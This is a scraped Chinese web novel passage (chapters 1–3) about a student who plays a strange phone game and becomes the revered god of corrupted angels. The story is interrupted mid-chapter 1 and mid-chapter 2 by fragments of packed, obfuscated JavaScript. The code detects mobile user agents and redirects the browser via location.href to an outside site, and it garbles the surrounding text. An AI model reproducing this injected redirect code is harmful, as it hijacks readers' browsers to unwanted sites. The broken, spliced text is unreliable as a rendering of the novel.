《弃游后眷属们全员黑化》 1. 001 夏日炎炎，葱绿不绝。 七月的天气炽热得叫人只想一头栽进空调房里吃着西瓜喝着可乐。 快要放假了，学生们更是难以静下心神。 休闲室里，大家正在随意聊着天。 “橙子，你看了新出了《战界无双》了么？要不要一起去玩？” 有人爽朗地朝洛橙露出笑容，热情地邀请他。 “不要，我对打打杀杀没兴趣。” 被呼唤的少年趴在桌上，有些懒洋洋地回应。 他声音清脆，猫一样困倦地眯着眼睛，眉目间还有些青涩的稚气，瞳色在日光下如同清透的宝石。 直视这一张漂亮的脸蛋时，即便被拒绝了，问话的人却忍不住红了红脸，期期艾艾继续问：“那贪婪之地要一起么？” “唔，这个嘛……” 洛橙沉思，在对方逐渐期待的表情里忽地弯了弯眼睛。 他语气轻快地说出冷酷的话：“也不要。” 对方一下垂头丧气起来：“诶——怎么这样。” 班上的其他人听到对话，纷纷发笑。 “哈哈哈，被拒绝了吧。” “都说橙子不会和我们一起玩的了，这么久你还不明白么？” “我就试试，万一人橙子想要玩呢。” 被调侃着的洛橙也不生气，装模作样从抽屉翻出书，露出可爱的小虎牙：“没办法，谁让我天性爱学习。” 这个回答让所有人都哄堂大笑：“哈哈哈哈——” 男生们在说着话，女生们也暗暗听着，时不时偷偷将目光投向靠窗的少年。 被称为“橙子”真名为洛橙的少年已经支起了身，单手托着下巴，眉眼弯弯，跟着在笑。 对比起半晌的其余人，洛橙模样看上去要更小一些。 红白色的校服穿在他身上，衬出少年尚显纤细青稚的身体，清新得就像是落在露珠上明净的晨光。 洛橙在学校里很出名，长得好看，成绩好，无论在男生中还是女生中都很受欢迎，但他很少在课外也和同学行动，无论是聚餐还是活动，他都不参与。 何况洛橙还外宿，和猫一样，一放学转头就没了影。 大家私下讨论到洛橙时，都觉得他很神秘。 不过面对猫一样忽冷忽热难以捉摸的洛橙，总是有人不信邪。 这个年纪的男生想要增进感情，当然是要一起玩游戏，偏偏洛橙却说他不爱玩游戏。 无论是市面上大热的枪战游戏，还是别有特色的恐怖游戏，又或者是注重情感的攻略游戏，洛橙通通拒绝。 这让同学们一度很遗憾。 有和洛橙关系不同的同学提醒他：“不管怎么样，橙子，你还是得挑几个游戏玩一下，不然我怕你游戏指标过不了。” 洛橙靠在椅背，比了个ok，懒洋洋地拉长语调：“放心~挂是不可能挂的。” -- 拒绝同学一起打游戏邀约的洛橙，一出校门就掏出了手机浏览起游戏平台。 不爱打游戏？那当然是假的。 “可恶，这个世界上能不能有点好玩的游戏了！”洛橙碎碎念。 怎么可能不爱玩游戏，那都是唬人的谎言，洛橙单纯是想玩玩不了，世界上没有比他更喜欢打游戏的人了！ 洛橙是穿越的。 这个星球叫蓝星，和他先前的家乡相似又不同。 地理相似，历史全乱七八糟。 繁多的国家在几十年前就变成统一的地球联盟，洛橙所在的区域名为大夏区。 科技技术所差不多，稍微先进一点，游戏的发展上却叫人眼花缭乱。 现在市场上最流行的就是全息游戏了，虽然大部分全息游戏只能做到70%-80%左右的拟真度，但也足够人们去享受游戏世界的美好。 全息游戏谁不想玩，谁不爱玩。 但是…… 正如在原家乡有人晕3d一样，洛橙也一样。 穿越过来的洛橙——晕、全、息！ 天知道进了全息装置还没开始享受游戏就忍不住要眩晕呕吐时，洛橙心里有多么悲伤。 这和把食物掉在饿了三天的人面前只给看不给吃的酷刑有什么区别？ 洛橙只能含泪放弃—— 一半。 这里毕竟和地球不同，尤其是蓝星从去年开始，突然颁发了一个政策，要求全体蓝星公民都必须要玩游戏，到了年底还得查指标。 洛橙今年只完成了两个，还差最后一个游戏指标没完成。 “玩什么游戏呢？”有什么游戏可以玩呢？ 搞定完一切后，洛橙舒适地窝进了自己的小沙发，摸出手机。 这个世界虽然市面上大部分是全息游戏，不过传统手游依旧在夹缝中艰难地存活了下来。 但即便是最大的游戏社区，传统游戏也只占据一小块地方，别说每日上新，连每月上新都不多，好玩的、创新的就更少了。 甚至基本都是单机游戏，联机都找不到人。 洛橙已经把好不容易淘到的游戏反复玩了很多遍，现在处于一种极度空-虚的状态。 就在洛橙叹气的下一秒，一道充满了机械的声音响起。 【我亲爱的、敬爱的、尊贵的主人，请问有什么我可以为您服务的吗？】 “01？”洛橙抬头。 【是的主人，我在！】 明明是机械合成的声音，此时它的语调却很是谄媚。 游戏助手陪伴系统同样是一年前伴随着政策一起推行的。 别家的助手洛橙不知道，他家的助手则因为过于殷勤舔狗，让洛橙也有点不好意思起来，很少会主动唤出它。 然而作为一个联网的智能助手，哪怕洛橙不呼唤，它也一直时时刻刻关注着自己主人的需求。 现在见到洛橙犯难，自然毫不犹豫地站了出来，打算为主人分忧解难。 洛橙随口说道：“那你有什么游戏推荐么？” 经过一年时间陪伴相处，游戏助手深知洛橙对游戏的要求。按理来说，想要为洛橙找到合心意的游戏是一件很难的事情。 毕竟—— “不要人生重启题材，不要纯经营模式，但是经营可以有，要能种田种菜建房子的，对了，最好角色要好看点！丑的一律不要。” 洛橙的要求很多很多，超难伺候的。 但是—— 【有的呀。】 游戏助手语气轻快，下一秒，一个充满了复古意味——主要指花花绿绿、看上去就很不正经的弹窗出现在洛橙手机上。 “《创世界》手游今日随机抽取幸运玩家内测，诚邀玩家试玩！” “咦。”洛橙来了兴致，仔细观察它的弹窗。 【种植、养崽、家园建设、声望系统……各种玩法应有尽有，游戏温馨治愈，玩家不容错过！】 下面还画了个大大的爱心。 洛橙：…… 什么三无产品小游戏，整得还怪有意思的。 毕竟市面上的全息游戏玩的时候都需要连接上玩家的智脑，通过智脑将意识上传，游戏要是能够随意给玩家的智脑发送信息，那还得了。 在不能主动给玩家发送消息、只能由玩家自主预约选择的情况下，这年头也就只有这些被全息游戏挤占得没有活路的小游戏这样剑走偏锋地给玩家加塞弹窗了。 一般还会被智脑当做垃圾处理掉。 这种能够通过智脑杀毒过滤的，都是大胆得可以说是不要命的。 如果玩家举报的话，这游戏产商就倒老大霉了。 而现在，他家助手01竟然给他推荐这么个三无产品。 01还在努力和自家主人推荐，信誓旦旦说道：【主人放心，我彻彻底底检查过了，这个游戏虽然看上去比较奇怪，但没有携带任何病毒。只不过应该是小厂的产品，不太出名，主人可以试玩一下看看。】 洛橙已经在它说话期间好奇地点了进去。 游戏的内存并不大，很快就下好了。 这个游戏的图标是一个被束缚的黑色十字架，最下方缀着一颗圆形红宝石。 创世界三个大字缀在最下方，笔走龙蛇间有种奇异的美感。 进入游戏前，有一个长长的游戏协议。 【游戏须知：此游戏包含情景互动模式，游戏将在游戏过程中默认玩家授权，包括但不限于读取玩家通讯录、内存储卡、语音权限、视频权限等[展开可见]一系列行为。】 【游戏提醒：此游戏为内测版本，游戏过程中，玩家可能会遇到包括但不限于以下几种情况：卡顿、闪退、bug、角色行为异常、剧情混乱等，但凡出现，请及时联系客服解决。】 作为一个优秀的玩家，洛橙从来不看游戏公告，统统点击同意。 很快，屏幕跳转到了玩家最熟悉的页面。 -【是否进入游戏？】- -【确定/拒绝】- -【确定】- 屏幕一片黑暗，旋即响起一段轻缓的音乐。 像是夏日拂过面颊的清风，掠过墙沿的风铃，发出叮叮咚咚悦耳的碰撞声。 在这样美妙的乐声下，原本漆黑无物的屏幕逐渐浮出一段文字。 一道画卷，如浮世一般在洛橙眼前缓缓展开。 【这是一个奇幻的世界，居住着四大种族。】 【天使纯洁，高居云端之上。】 【龙族贪婪，固守无价之宝。】 【恶魔狡猾，蛊惑游离之人。】 【深渊冷酷，回望尘世之物。】 随着文字的浮现，屏幕里也闪烁出一个个剪影，在绘卷上浮现又隐下。 这些剪影从漆黑到彩色。 天使是象征纯洁的雪白，在黑暗中微微发光； 龙族是锐利的金，如同耀眼珍贵的黄金； 恶魔是妖异的红，血液流淌在那片红海里； 深渊的颜色斑斓得叫人望之眼睛生疼，却又为那古怪大胆的色彩而入神。 人物的剪影，与绘卷上风格各异的建筑交辉相应。 短短十几秒里，简短地为洛橙描绘出这个世界风采的一角。 【这个世界，无主，无神，无所归处。】 【他们被创造出来，却没有对应的命运诞生，历史还没开始，就被定格在虚无之中。】 【所有人都在等待着，在无望的黑暗等待着毁灭，又或是等一个人的注视，为他们带来新生。】 【你，会是这个世界期待已久、将要莅临此地的王吗？】 最下方，创世界三字缓缓出现在洛橙眼前。 好漂亮的游戏CG—— 洛橙被惊艳得微微张开眼睛，冲着这CG就算是史也要尝尝看这个游戏怎么样。 他毫不犹豫继续点击游戏。 【请选择你的初始眷属】 随着提示，游戏页面出现四张卡牌，悬浮在屏幕上方。 卡牌画得很精致，配上繁复精致的花纹，漂亮得像是艺术品。 洛橙一张张点开卡牌。 第一张卡牌显现。 羽翼收拢，燃烧的火焰从墨色渐隐成灰色，明明圣剑锐利占据主体，最下方却是一条条如蔓藤般盘旋的蛇，盛开的花朵是无穷无尽的红色眼睛。 ——【忠贞、光明、凝望、隐忍】 第二张卡牌上，黑色的人影坐在血月之上，鸟类一样的剪影在周围盘旋。无数的骷髅堆积在最下方，砌成令人毛骨悚然的白骨王座。 ——【原初，神秘，堕落，骄傲】 第三张卡牌里，巨大的生物冷酷地横在天际，焦土上燃烧着无穷无尽的火焰。 ——【贪婪，财富，力量，嫉妒】 最后一张卡牌，上边的猩红的独眼如同庞大的天体，独占夜空，闪烁着诡异的光芒，遮天蔽日的触手在身后浮现。 ——【混沌，无序，扭曲，懒惰】 “哇。”洛橙眼前一亮。 这个世界因为走向不同，文化差距也大，表现出来就在于这些在洛橙老家无比常见的天使、恶魔之类的元素少之又少，完全是坚定不移的科技侧，格外唯物主义。 洛橙找游戏的时候基本没发现有类似的，就好像这些东西是什么禁忌一样，让尤其钟爱这类幻想元素的洛橙很是纳闷。 然而现在，洛橙竟然看到了这么一款无敌符合他心意的游戏。 #我承认，你吸引到我了# 至于初始种族选什么嘛—— 洛橙仔细端量。 如果是其他人在这里，看着这些不明所以的卡牌一定会很抓瞎，哪怕有前边的种族提醒也对不上他们的特征。 可对于来自地球的洛橙而言，这些卡牌简直不要太好认了。 恶魔很帅，最后一个颇有怪诞风格，龙是最爱，所以——当然选择天使啦！ 谁能不喜欢天使呢？ 狠狠点了！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588493|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 游戏黑屏，旋即像是蝴蝶一般破碎开来，变成明净的光芒。 【欢迎来到创世界，至高无上的王。】 伴随着一道鎏金文字的问候，游戏缓缓朝它的王展露真面目—— 心满意足进入游戏的洛橙，在黑暗结束后，对上一片片猩红的视线。 “……” 极为简陋的像素风格，古朴得只能夸赞说“复古”的画风。 组成了灰暗的天空、不明的生物，和被包围的弱小无助的他。 以及，再怎么简陋的画风也无法忽略的，专属马赛克的、拥有一双双红色像素点的不知名东西。 洛橙：…… 洛橙：……………… 等下。 他的天使呢？ 他貌美的、圣洁的、有很多一看就很好摸的翅膀的天使呢？ 谁家好人的天使长这个样子啊！ …… 遗弃之地已经很久没有异样了。 天使们像是以往那般在黑暗森林巡逻。 他们是最低阶的天使，负责神国最外层的安保。 作为本能被忠诚覆盖的天使，没有天使不仰慕神主。 可他们的神国，自出现以来就没有任何主人。 没有神主，神国自然名存实亡。 毁灭如同毒雾，一圈圈由外到里荒芜着神国。 为了保持最后的荣光，也为了不知是否会出现的神主，神国被护卫在结界最最中央。 结界之外，便是遗弃之地。 在这如同禁地一般难以生存的土地上，唯有这些几乎没有任何神智残存的天使，依旧能够抵抗住污染，日复一日如同以往千百年那般巡逻守卫着神国的领地。 天气阴暗，堕落的天体如同黑日，缀在天幕最中央。 在行动之间，这些低阶天使没有任何交谈。 就像是这片因神主不在而被迫遗弃的土地，如同无用之物般被落在这里的他们没有任何生机活力，死寂几乎是这里永恒的主题。 在这样漫长的、枯燥的、没有任何希望的日子里，连同巡逻都是本能在运作。 偶尔的时候，他们会在意识海里交流，但所谓的交流，不过是一些简单的信号传播。 像是一群只有简单指令的机器，徒劳地在这片大地上一次又一次的巡逻。 等待着漫长的死亡，又或者—— ——等待一个奇迹。 洛泽尔正在仔细地梳理着他的绒羽。 那双翅膀原本光华又圣洁，此时却像是落灰的白雪，失去了所有的灵动和美丽，像是破败的雕塑，被时光侵蚀，染上不详的晦涩色泽。 但洛泽尔依旧认认真真地将那不知何时开始枯萎的羽毛顺好，而长出的黑羽，则被他面不改色地拔掉，化为细细的黑雾，散在空气里。 【警戒】 【巡逻中】 【一切正常】 接受到的信号里，天使们的絮语单调又古怪。 表面上沉默得毫无声息，属于天使们的交流频道却很拥挤。他们就像是无数部手机共用一台wifi，意识混杂在一起，卡顿又掉帧。 洛泽尔没有回应，他只是继续垂着眼眸，用修长的手指，将羽翼上的黑羽，一根一根拔下来。 黑雾渐渐缠绕上了灰发灰眸天使的指尖，裂痕一闪而过。 就在此时，天使们的“通用网”里，突然传来一阵古怪的波动。 对方像是在迟疑，又像是在困惑着什么从未见过的新奇事物，情绪起伏着。 【……、……】 【检测到陌生生命讯号——】 那向来古板无波的低阶天使，此时就像是遇到了什么让大脑无法思考的事物。 【……经判定，是……】 它的意识剧烈地波动起来，怀疑着自己，又不敢相信自己的推测，几乎是茫然一般，将那个只存在于幻想种的词付诸于口。 【是……】 【神主……】 所有接收到这个意识的天使们都躁动起来了。 【神……？】 【神主……】 【神主，在哪里……】 迫切，急躁，以及强烈的渴望，让这片意识网一瞬间暴乱起来。 昔日里无数缄默的天使们，都无法在此刻保持冷静。 没有任何天使见过神主。 神主对于他们而言，更像是一种传说。 没有天使不仰慕神主，也没有天使不渴求神主。 神主却从来没有出现过。 ——对方是真的存在吗？ 这样堪称大逆不道的念头，偶尔也会出现在一些天使的心底。 但这对于这些低阶天使而言，他们坚信着，神主是必然存在的。 或许是因为他们还不够虔诚，或许是因为神主其实一直都在他们看不见的地方默默观察着他们，只要他们一直坚守，一直等待，他们就能等到神主。 而此刻，他们好像真的等到了…… 天使们天生就能感应到神主的气息，如同于本能一般被刻在天使们的灵魂里。 没有任何天使怀疑这个判断，他们绝不会认错自己的神主。 在意识到‘神主可能出现了’这一点后，这些已经心如死灰、将要腐朽的天使们，眼底里蓦然燃烧起一朵小小的、明亮的火焰。 洛泽尔反应速度最快，甚至扯断了几根自己翅膀上残存如新雪的羽毛，遵循着本能的指引，直直往某一处赶。 他来得正巧，天使们也尾随其后。 遗弃之地的天空总是阴沉的，黑日永悬，土地被黑雾侵蚀。 这里没有明亮的色彩，世界好像只剩下单调的黑白灰。 但是现在，堪称奇迹的一幕，倒映在他们灰暗的瞳孔里—— 灰败死寂的土地上，有人从天而降。 就像是清晨的花朵摇曳着抖落花瓣上的露珠，像是冰块在盛着柠檬片的玻璃杯里撞击发出清脆的碰撞声，像是小鸟轻飘飘落在了枝头上。 对方被微风包裹着落下，脸颊如柔软的云朵，睡颜安静又美丽，双手安在小腹上，只有浓密的睫羽随着轻缓的呼吸如蝶翼般微微涟漪。 那流动着天光的明亮眼眸，在注视中缓慢张开。 所有巡逻的低阶天使都于此时僵在了原地。 在这荒芜的遗弃之地，无望的死渊，平淡又偶然的一天。 ——看见了他们的神主。 2. 002 在长久的等待中，天使们曾幻想过神主的模样。 即便是三大圣天使之一、最为沉默寡言、如山岳般沉凝的洛泽尔也不例外。 神国的颜色寡淡又纯粹。 明明并不丰富，却有着无比的魅力。 任何物种都无法超脱自己的认知去想象，就算是天使也不例外。 那么，从未出现过的神主，会是什么样子的呢？ 璀璨的金色、漂亮的银色，洁净的白色。 神国最美丽的色彩，自然凝聚在最耀眼的神主身上。 ……但所有的猜测都在此刻终止了。 见到神主的那一秒，所有的幻想都变成了对方此刻展露在他们面前的模样。 无需任何漂亮的颜色点缀，只是神主本身。 在他抬眸看向他们的那一刻， 天使们就再也无法移开视线了。 在这样全部心神都仿佛随着对方呼吸而跟着颤动的情形下，洛泽尔下意识地往前跨越了一步。 他想要说些什么，无数话语在胸腔里激荡着，却又无法付之于口，只能握紧双拳，谨慎地、不安地，又期待地躲着不远不近的距离，牢牢注视着初生的神主。 少年的容貌像是一缕澄澈的辉光，在这样黯淡的环境下，愈发显得梦幻。 梦幻得让人疑心这或许是梦境之中。 ……天使也会做梦么？ 又或许，现在的他其实一直在某个幻境里无法脱身。 梦和环境，会有这么真实的感知么？ 洛泽尔向来是沉默、寡言又坚定的代表，然而此刻，他的眼神也和在场所有低阶天使那般变得恍惚。 他盯着自己的有些裂纹的手指，余光扫过自己灰扑扑的翅膀。 洛泽尔一下子丧失了所有的勇气。 明明是先人一步，此时却踌躇不定。 洛泽尔没有再上前，他隐退在天使们的身影里。 只有那双灰色的眼睛，在黑暗之中，依旧定定地注视着他的神主。 洛泽尔已经无法思考了，而其余的低阶天使，在恍惚过后，那些灰暗的眸子里闪烁的焰火愈发明亮，将那将要熄灭的灰烬再一次点燃起来。 在这一刻，他们抵挡住了圣天使的威压，遵循本能，迫切地朝他们的神主靠近。 但是他们的神主，在看到他们的第一眼，惊愕片刻后，竟然—— ……转身跑了。 跑——了—— 天使们：？？？ …… 洛橙正如临大敌地盯着自己的手机屏幕。 当洛橙从黑暗中醒过来，看到这么多奇怪的生物围着自己，头顶直接冒出三个感叹号。 【待在原地不动】 【扭头就跑】 【扭头就跑→】 选项非常顺畅地衔接在屏幕上，洛橙毫不犹豫选择了第二个。 对不起但谁让你们眷属宣传诈骗，我要的是天使不是怪物使，再见了！ 风紧扯呼，跑！ 洛橙很是坚定。 ……但可惜的是，围过来的怪物们实在太多太多太多了—— 看着如同乌云一样乌压压堵着自己逃跑路径怪物们的洛橙：…… 洛橙：怪物海战术也太过分了吧QAQ 他满是心酸地操纵着游戏里的小人原地蹲了下来。 这个游戏并没有捏脸环节，看上去还是第一人称。 但或许是因为进游戏前读取了洛橙的授权，主角默认是洛橙的现实里的长相——不过都是像素风了长相什么完全不重要啦！ 说不定只有特别丑的和长得很奇怪的才会特征明显一点= = 而现在，似乎是察觉到了洛橙的认命，镜头短暂地换成第三人称，左右移动，将此时的情形用短短的小cg模式呈现在洛橙的手机屏幕里。 拔腿就跑的像素小人显然一下子吸引了这些怪物们的全部注意力。 他们就像是追逐着玩具的大狗，在洛橙背后追着洛橙不放。 任由洛橙如何操纵小人逃跑，这些家伙们都紧紧跟在洛橙背后。 最后，作为游戏主人公的棕毛粉眸小人正弱小、可怜、无助地抱膝盖坐在地上，周围是一圈面容怪异的、疑似天使的家伙围了他一圈又一圈。 即便是可爱的像素风，堵着洛橙的家伙们也能明显看出惊悚怪异的元素。 他们身形扭曲，身后的翅膀像是被腐蚀了，羽毛染血，露出猩红的血肉和苍白的骨架。 不像圣洁渡人的天使，更像一些暗黑的怪物。 那些怪异的家伙们都太大了，看身形基本都是洛橙身形的三四倍，以至于那些红色的像素点都快赶上洛橙的脑袋那么大了。 一时间，洛橙就像是误闯入巨人国的小人偶，自闭地抱着自己在巨人们的注视下装死。 装死过程中，像素小人头上冒出了一个又一个“……”的代表无言、沉默的气泡，当新的气泡冒出来时，旧的气泡还会发出啪的破碎肥皂泡声音。 而那些身形高大的怪物们则密不透风地围着洛橙，却没有任何动作。 他们就像是注视一朵颤颤巍巍从岩峰里探头的花，注视一只偶然停靠在枝头的雪白小鸟，目光牢牢锁在洛橙身上。 不知道是不是先前洛橙操纵起‘自己’转身就跑的缘故，这些奇形怪状的生物们此刻正颇有些战战兢兢、不知所措地围在远处，好像洛橙此刻才是那个会欺负人的大魔王。 仿佛深知自己样貌的可恐，因此只能卑微地围在洛橙身边，安静顺服地等待洛橙缓过神来。 气氛一时间古怪地僵持住了。 ……好像没有危险。 警惕着的洛橙慢慢松了口气，眨了眨眼睛。 他仔细观察着屏幕里呈现出来的画面。 明明是无比高大的怪物们，他们却老老实实地蹲在洛橙身边，看上去莫名还有点呆。 洛橙：ovo 危机解除的洛橙瞬间支棱起来：“哼哼，这个游戏果然还是想要挽留一下的我的啦！” 洛橙试着操控小人重新站起来，但是一动作，这些原本还安安静静的怪物们又开始焦虑躁动，小山一样堵在洛橙面前。 他们实在有点太大了。 先前第三人称视角时，洛橙就发现这些怪物们明显比他大上几倍，但洛橙完全没有想到，这还是他们蹲下时缩水一半的状态。 现在，在第一人称的视角下，这种过大体型带来的压迫，被表现得无比明显深刻。 总之是像素画风也掩盖不了的巨物恐惧感！ 洛橙：“？” 小人在屏幕里原地跳了跳，仰着头，盯了他们一会。 “不打算追杀我的话，就请大家让开一下喔？”洛橙相当礼貌道。 虽然知道游戏里的怪物们听不见自己的声音，但一个人自己玩游戏的时候，洛橙还蛮爱自言自语的。 怪物们发出了奇怪的声音，似乎在交谈。 可惜洛橙听不懂。 “可恶，有什么东西是玩家不能听的！” 洛橙以为自己会被阻拦，不过奇怪的是，直到洛橙试着往别处走了，先前这些围着洛橙的怪物们也没有任何要阻拦洛橙的意思，只是继续沉默地跟在洛橙身后。 ……看上去就像是带领着一群忠心的古怪狗狗们似的。 “糟糕，好像真有点可爱了。”洛橙目光移了移。 虽然是外貌协会，但作为玩家，有时候审美奇怪一点也很正常嘛！ 反正无法逃跑，那就只能躺平享受。 ——游戏总不能让他被开局杀吧！ 玩游戏心态非常之良好的洛橙很快就将注意力转到的别的地方。 这个游戏一进来就是剧情点，以至于现在洛橙才有空去看其他东西。 不知道是不是三无小游戏的缘故，很多东西都需要洛橙去探索发现。 面板没看到就算了，背包也没看到——搞什么啊玩游戏的时候玩家怎么可以没有背包（怒！ 没有背包的话，他要怎么搜集、怎么保存物资，怎么在囤积宝箱好一口气抽奖啊！ “等下就去和客服投诉。”洛橙碎碎念。 洛橙在摸索着这个游戏的面板和按钮时，呈现出来就是屏幕里的小人如同金鱼一直在无声吐着一个又一个沉默泡泡，在发现真的什么都没有后，小人一下子冒出一个怒火的表情，让那些高大的怪物们看上去更躁动了。 然而专注探索游戏的洛橙并没有注意到。 他一边去找不存在的面板，一边观察自己到的这个新手地图。 和宣传时的温馨不同，这个地图总体色调很灰暗。 与现实截然不同的黑日悬挂在天际，土地是漆黑的，森林全成了枯木，代表不详的黑雾萦绕在周围。 怎么看怎么阴森，也不怪洛橙觉得这是诈骗。 谁家好人天使长这个样，谁家天使住这种地？ 但洛橙稍一回头，就看到紧紧跟在他背后的怪物们。 洛橙走一步，他们跟着走一步。 洛橙停下，他们也停下。 而且，似乎是察觉到洛橙和他们身高差距有点大，那些个子最大的怪物们都会缩在最后边，生怕会吓到洛橙那般。 靠近洛橙的家伙们，则在洛橙每次停下时，都会半跪或蹲在洛橙面前，无声地表达着顺从。 “什么呀……”洛橙忍不住弯了弯眼睛，“长得这么抽象，行为却这么狗狗么？” 这一点，感觉又有点像是天使了。 不过，洛橙还是没有主动和他们交谈。 他忽然起了点坏心，想知道如果他一直不理会他们的话，他们会怎么做。 想到就做，屏幕里的小人真没再回头了。 ——但是坏心眼的洛橙在屏幕外眼睛亮闪闪地盯着他们观察。 兴许是发现了洛橙不打算理会他们，这些怪物们明显慌乱起来。 他们发出窸窸窣窣的声响，不时还会在头顶冒出代表哭哭的气泡。 【TAT】 【QAQ】 【TOT】 【（伤心中）】 洛橙：？ 洛橙：……什么东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588494|143183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛橙：好奇怪。再戳戳。 即便不久前才说要一直不理会他们，现在看到这些气泡，洛橙还是抵不住玩家的本能，伸手戳了戳。 那些气泡就像是收到惊吓那般猛然炸开了，而拥有那些气泡的像素点怪物们，红色的眼睛闪了又闪，惊疑不定，左右环顾。 【（惊讶）】 【（疑惑）】 【（茫然）】 ……唔。还蛮好玩的，嘿嘿。 被洛橙戳破气泡的怪物们，头顶的气泡从哭哭转成了各种各样的其他情绪。 配上他们在像素画风下惊悚又奇异的外表，竟然有些奇怪的反差萌。 有个小怪物身形最小，藏在怪物群里，几乎看不见。 但他头顶的气泡最复杂。 【（思索）】 【（低落中）】 【（持续低落中）】 “你在想什么呀？”洛橙好奇了。 小怪物也会有烦心事么？ 但游戏里的人物是听不到现实的人说话的，小怪物在洛橙的注视下，不开心地低落着心情。 一串又一串省略气泡从他头顶冒出，偶尔掺杂着奇奇怪怪的黑线团。 洛橙瞅了又瞅，没忍住，伸手摸了摸气泡上那团冒出来的复杂黑线，下一秒，洛橙就看到对方头上一下子冒出无数个感叹号的气泡。 【！！！】 他同样左右环顾，旋即，像是想到了什么一样，气泡蓦然变化起来。 【（惊喜）】 【（开心）】 【（花）（花）（花）】 【状态：幸福】 那些气泡翻滚着，最后化成一朵朵飘起来的花花。 但与之相反，小怪物将自己藏得更隐蔽了，丝毫不知自己头顶的气泡将自己的心情暴露得一干二净。 洛橙：好、好可爱！ 洛橙瞬间对它们的评价从奇奇怪怪的吓人生物转成了可爱的像素点们！ 游戏屏幕适时探出新的提醒。 【您的心情+1】 【请输入对它们的印象：__________】 “咦。”洛橙眨眨眼睛，“这个游戏的互动原来体现在这里么？” 洛橙随手输入：【可爱的小怪物们ovo】 但准备提交的时候，洛橙又迟疑了一下。 他想起了自己进游戏前选择的眷属，又看了眼这些像狗狗一样围在他身边的怪物们。 手指微动。 …… 天使们正紧紧跟在神主背后。 他们从没想过，自己会吓到新生的神主。 在看到神主转身就跑时，这些低阶的天使们并不清楚原因，还以为周围出现了威胁神主的东西。 神主为什么会害怕？ 神主在恐惧什么？ 他们试图和神主交流，想要安抚神主，可他们早就忘却语言，平日里仅有的交流都是靠意识。 所以那个时候，天使们无比的焦灼不安。 无法排除惊扰神主的事物，是他们守卫的失职。 但在看见神主警惕的举动后，这些天使们才后知后觉： 这样抗拒的姿态……或许不是害怕，不是恐惧，而是——讨厌。 ……神主，讨厌他们。 毕竟作为最低阶的天使，即便勉强能在遗弃之地生存，不被黑雾侵染，但他们的外表、神力，早已不复纯净。 即便是同为天使的其他族人，也会厌恶这样的他们。 先前天使们并不在乎这一点，巡卫神国才是他们唯一的任务。 可是，现在拒绝他们，是神主。 那在黑雾侵染都没有被动摇的心，在被神主拒绝的那一刻，忽然碎了开来。 天使们什么都不明白，他们只知道要一直守在初生的神主面前，不管神主是否会不喜。 直到神主被接回神国，他们才能结束他们的使命，主动奔赴终结。 ……这样的话，可以少讨厌他们一点吗？ 天使们默默地跟在神主身边。 他们本就寡言少语，此刻更显安静沉默。 直到有天使感觉自己的意识忽然一轻，像是被清风轻轻吹拂了一下。 常年的黑雾侵袭，让他们的精神海深受伤害，无比沉重。 但是此刻，那压在精神海上沉重无比的枷锁，轻易被挑断了一道。 似叹息，似轻笑。 陌生的、从未出现过的话语。 【可爱的小家伙们，我的天使ovo】 少年带着点奇异怜爱的声音，就这么出现在他们的脑海里。 无需任何怀疑，便能轻易感知到声音里传达过来的情绪。 “砰砰” 先前破碎的心，于此时，再次激烈地震动起来。 而这温柔含笑的声音，跨越封锁的结界，无比清晰地传达到了神国之中。 这一刻，神国里的所有天使，心神一震，目光下意识移到了某处。 有天使手里的东西掉了一地，也浑然不觉，喃喃道： “神主……” 3. 003 这名天使的失态并未引来其余天使诧异的目光，因为此刻，在场的其余天使面上表情不比她好上多少。 “你们听到那道声音了么？” 开口说话的女性有着一头美丽的金发，身后的羽翼洁白似雪。 作为圣天使座下的大天使之一，此时的柏妮塔完全控制不住自己的情绪，说话时激动得连指尖都在颤抖：“方才那种感觉……神主……绝对是神主！” 使用精神力量来进行沟通是天使们的基础能力。 就连最低阶的天使，在所有能力都被黑雾侵蚀丧失下，这个能力也能继续保存下来，无意识地运转使用着。 而现在，神国里所有的天使，脑海里都听到了这道声音。 【可爱的小家伙们】 清脆的、还带着点少年特有语调的明媚笑意，语气轻而缓，像主人逗弄着手上停着的小鸟，笑它飞太快摔到的同时，也有着一点叫人心头发软的怜惜。 只是短短的一句话，就叫听到的天使们头晕目眩。 向来只存在于天使们幻想中的神主，在他们苦等无数漫长时光后，终于出现了。 而被无数天使渴慕着的神主，在轻笑着说： 【我的天使……】 啊啊，难以言语的情绪在胸腔里激荡着。 想要回应。 想要见面。 想要来到神主面前，不仅仅以这种传音的方式听到他的声音。 明明是情感最为淡漠的天使，此时却无法克制自己澎湃的心潮，迫切地渴求着更多和神主有关的东西。 他们所在的地方俨然是议会厅，在场其他人最少也是大天使。 先前讨论的事情没有天使再去在意了，所有天使都明显心神不属起来。 “神主是在和谁说话？” “有谁见到了神主？神主在哪里——” 他们自语着，完全按压不住自己的渴求。 想要见到神主，想要侍奉神主。 即便从这道传音里无法判断神主此时身在何处，但正是因为如此，天使们才如此焦虑。 外界如此危险，神主怎么能够一直待在外边？ 神国在长年缺乏神主后，已经在毁灭边缘摇摇欲坠。 维持神国秩序的三大圣天使，洛泽尔不知所踪，塞缪尔隐退在神殿终日不外出，守卫神国。 唯一出现在神国的圣天使，只剩下约斐尔了。 在神国被结界笼罩隔绝的现在，唯有约斐尔拥有打破结界出去寻找神主的力量。 